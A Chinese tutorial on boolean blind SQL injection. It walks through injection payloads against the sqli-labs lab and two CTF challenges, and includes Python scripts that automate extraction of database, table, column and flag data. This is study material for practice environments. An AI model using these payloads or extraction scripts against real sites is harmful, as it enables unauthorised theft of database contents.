python 布林注入原理及滲透過程範例

2022-10-20 14:02:11

引文

之前有一篇文章給大家帶來了SQL隱碼攻擊的基本知識點以及分類，包含的面比較廣但是不深入，於是我準備詳細講講每一種型別的SQL隱碼攻擊的詳細利用方法以及場景，今天給大家帶來的是布林盲注，也是比較常用的一種注入方式。

基本知識

什麼是布林注入？

先了解一下什麼是布林盲注，在平常我們在網頁輸入SQL語句網頁會給我們關於SQL語句的回顯，比如SQL錯報資訊，我們根據這些錯報資訊去進行SQL隱碼攻擊，但你們有沒有想過，如果當我們傳入語句網站不會給我們回顯時，我們該怎麼辦呢，這時我們引入布林注入的概念，即通過一些判斷語句來確認資料庫的內部資訊，可以看看下面的圖：

有回顯

無回顯

下面就告訴大家如何在只有兩種回顯的頁面，利用函數來實現我們的布林盲注。

函數

下面給大家舉例一下布林盲注中常用的函數以及他們的作用：

length(str)：返回str字串的長度。

substr(str, pos, len)：將str從pos位置開始擷取len長度的字元進行返回。注意這裡的pos位置是從1開始的，不是陣列的0開始

mid(str,pos,len):跟上面的一樣，擷取字串

ascii(str)：返回字串str的最左面字元的ASCII程式碼值。

ord(str):同上，返回ascii碼

if(a,b,c) :a為條件，a為true，返回b，否則返回c，如if(1>2,1,0),返回0

當然這只是最常見的函數，當上面這些被禁用時，我們可以尋找其他的函數，下面給大家舉例如何利用這些函數。

根據布林型的規則，網頁只給我們返回TRUE或者FALSE,那麼我們像下面這樣進行傳參：

http://127.0.0.1/Less-8/?id=1'and (length(database()))>8 --+

判斷資料庫名字長度是否大於8，正確返回TRUE，錯誤返回FALSE。

注入過程

假如我們已經判斷完資料庫的名字長度，接下來就來猜測資料庫的第一個字母是什麼:

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>110#

我們可以根據二分法來進行判斷，當我們ASCII為110返回為TRUE，111時為FALSE，我們就可以判斷ASCII碼為110對應的字元為資料庫的第一個名稱。關於ASCII對應的值可以參考下面的圖：

同理我們修改匹配的資料庫欄位來查詢第二個字元：

substr(database(),2,1)

查詢出資料庫的名字為security後我們按順序查詢表名的第一個字母：

1' and (ascii(substr((select table_name from information_schema.tables
 where table_schema=''security limit 0,1),1,1)))>100 --+

最後得到表名為emails，於是我們查詢欄位值的第一個字母：

1' and (ascii(substr((select column_name from information_schema.columns
 where table_name='emails'),1,1)))&gt;100 --+

最後得到欄位值。

大家有沒有發現如果我們一個一個的試時間成本是不是很大，於是我們可以編寫指令碼來自動迴圈跑出來。下面會給大家帶來例題。

例題

例題一

給了我們一個搜尋方塊:

我們嘗試輸入後發現，輸入1回顯Hello, glzjin wants a girlfriend，輸入2回顯Do you want to be my girlfriend?，輸入大於2的數回顯：Error Occured When Fetch Result,而且還會檢測我們語句過濾了union等關鍵字，但是沒有過濾(),考慮布林盲注。嘗試構造PAYLOAD:

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

回顯正常，可以進行SQL隱碼攻擊，我們利用指令碼：

import requests
import time
import re
url='http://4f098f39-88d5-4922-afcc-06e3cfa8ac6e.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        s = (int)((max+min)/2)
        payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(0.005)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            min=s
        else:
            max=s
        if((max-min)<=1):
            flag+=chr(max)
            print(flag)
            break

執行得到FLAG:

例題二

也是一個搜尋方塊，我們分別輸入1和1'，得到以下回顯：

猜測是布林注入，我們先查詢資料庫長度：

1 and length(database()) >5

得到資料庫長度為4後，我們查詢資料庫名字：

1 and ascii(substr(database(),1,1))=115

得到庫名為sqli，接下來就是查詢表和欄位等操作了，在網上找了一個指令碼來讓他自己跑：

import requests
# 爆庫
def dataBaseName(url, mark):
    name = ''
    for i in range(1, 9):
        for j in "sqcwertyuioplkjhgfdazxvbnm":
            payload = url + "if(substr(database(),%d,1)='%s',1,0)" % (i, j)
            r = requests.get(payload)
            if mark in r.text:
                name = name + j
                print(name)
                break   
    print('資料庫名:', name)
# 爆表
def table_name(url,mark):
    tableList = []
    for i in range(0,4):
        name = ''
        for j in range(1,9):
            for k in 'sqcwertyuioplkjhgfdazxvbnm':
                payload = url + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,0)' %(i,j,k)
                r = requests.get(payload)
                if mark in r.text:
                    name = name + k
                    print(name)
                    break
        tableList.append(name)
    print('table_name:',tableList)
# 爆欄位
def column_name(url,mark):
    columnList = []
    for i in range(0,3):
        columnName = ''
        for j in range(1,9):
            for k in 'sqcwertyuioplkjhgfdazxvbnm':
                payload = url + 'if(substr((select column_name from information_schema.columns where table_name="flag" and table_schema = database() limit %d,1),%d,1)="%s",1,0)' %(i,j,k)
                r = requests.get(payload)
                if mark in r.text:
                    columnName += k
                    print(columnName)
                    break
        columnList.append(columnName)
    print("欄位名：",columnList)
# 爆欄位第一個行內容
def get_data(url,mark):
    data = ''
    for i in range(1,50):
        for j in range(48,126):
            payload = url + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,0)' %(i,j)
            r = requests.get(payload)
            if mark in r.text:
                data += chr(j)
                print(data)
                break
    print("欄位第一個值",data)
# 爆欄位前10行內容
def get_data(url,mark):
    dataList = []
    for i in range(1,10):
        data = ''
        for j in range(1,50):
            for k in range(48,126):
                payload = url + 'if(ASCII(SUBSTR((SELECT flag FROM `flag` limit %d,1),%d,1))=%d,1,0)' %(i,j,k)
                r = requests.get(payload)
                if mark in r.text:
                    data += chr(k)
                    print(data)
                    break
        dataList.append(data)
    print("欄位前10行內容",dataList)
if __name__ == "__main__":
    url = "/?id="
    mark = "query_success"
    dataBaseName(url, mark)
    table_name(url, mark)
    column_name(url, mark)
    get_data(url,mark)

結語

今天詳細講了布林注入的原理以及滲透過程，有興趣的小夥伴可以自己搭建靶機嘗試，文章中可能有錯誤的的地方歡迎大家指出，更多關於python 布林注入滲透的資料請關注it145.com其它相關文章！

python 布林注入原理及滲透過程範例

目錄

引文

基本知識

什麼是布林注入？

函數

注入過程

例題

例題一

例題二

結語

熱門文章